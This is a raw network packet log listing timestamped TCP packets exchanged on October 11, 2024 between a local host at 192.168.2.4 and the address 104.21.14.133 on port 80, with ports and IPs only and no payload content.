Oct 11, 2024 04:10:43.404546022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404597044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404597044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404633999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404650927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404668093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404690027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404701948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404712915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404741049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404758930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404774904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404793024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404828072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404828072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404879093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404881954 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.404928923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404963017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.404975891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405014038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405014038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405061007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405070066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405108929 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405160904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405162096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405215025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405215979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405267954 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405272961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405307055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405325890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405340910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405355930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405375004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405385017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405409098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405422926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405458927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405459881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405493021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405518055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405525923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405539036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405566931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405597925 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405599117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405620098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405632973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405664921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405668020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405689001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405699015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405730963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405751944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405765057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405777931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405798912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405814886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405833006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405853033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405865908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405884027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405900955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405916929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405935049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405956030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405967951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.405986071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.405997992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406019926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406032085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406050920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406065941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406085968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406099081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406116009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406133890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406166077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406192064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406192064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406198978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406213045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406251907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406270981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406286001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406305075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406320095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406337976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406353951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406373978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406387091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406404018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406421900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406443119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406456947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406474113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406495094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406527042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406541109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406541109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406560898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406568050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406594038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406626940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406649113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406658888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406670094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406693935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406727076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406744003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406760931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406774998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406795025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406810045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406830072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406838894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406862974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406876087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406897068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406907082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406929970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406944990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.406965971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.406982899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407000065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407020092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407033920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407051086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407072067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407085896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407107115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407119989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407140970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407159090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407181978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407212973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407232046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407248020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407263041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407282114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407298088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407316923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407327890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407350063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407367945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407403946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407433033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407438040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407454967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407471895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407493114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407505035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407516003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407538891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407555103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407572985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407583952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407605886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407619953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407639027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407671928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407672882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407692909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407707930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407741070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407743931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407766104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407774925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407783985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407809019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407821894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407843113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.407855988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.407890081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.491763115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.491838932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.491843939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.491892099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.491909027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.491926908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.491961002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.491977930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492002964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492101908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492153883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492156029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492208004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492228031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492261887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492280960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492295027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492304087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492346048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492347002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492379904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492394924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492432117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492432117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492465019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492513895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492515087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492547035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492563963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492594004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492598057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492631912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492650986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492682934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492714882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492732048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492749929 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492767096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492814064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492816925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492850065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492862940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492883921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492896080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492918015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492933035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492952108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.492965937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.492985010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493016958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493047953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493052959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493072987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493082047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493093014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493115902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493134975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493150949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493161917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493185043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493199110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493220091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493237019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493253946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493268013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493288994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493318081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493336916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493350029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493369102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493385077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493416071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493433952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493448019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493464947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493479013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493488073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493513107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493530035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493546009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493554115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493580103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493612051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493628979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493644953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493670940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493678093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493694067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493711948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493742943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493762016 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493777990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493786097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493809938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493825912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493844032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493856907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493877888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493891001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493913889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493930101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493947983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493961096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.493983030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.493999958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494014025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494024038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494048119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494059086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494081020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494096994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494113922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494132996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494148016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494162083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494182110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494199038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494215012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494235039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494249105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494265079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494282961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494299889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494316101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494328022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494348049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494379997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494398117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494411945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494421959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494446039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494460106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494479895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494496107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494514942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494525909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494549036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494564056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494581938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494586945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494613886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494632006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494647980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494679928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494697094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494713068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494726896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494745970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494762897 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494780064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494791985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494812965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494848967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494879961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.494884014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494901896 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.494913101 CEST	80	49733	104.21.14.133	192.168.2.4
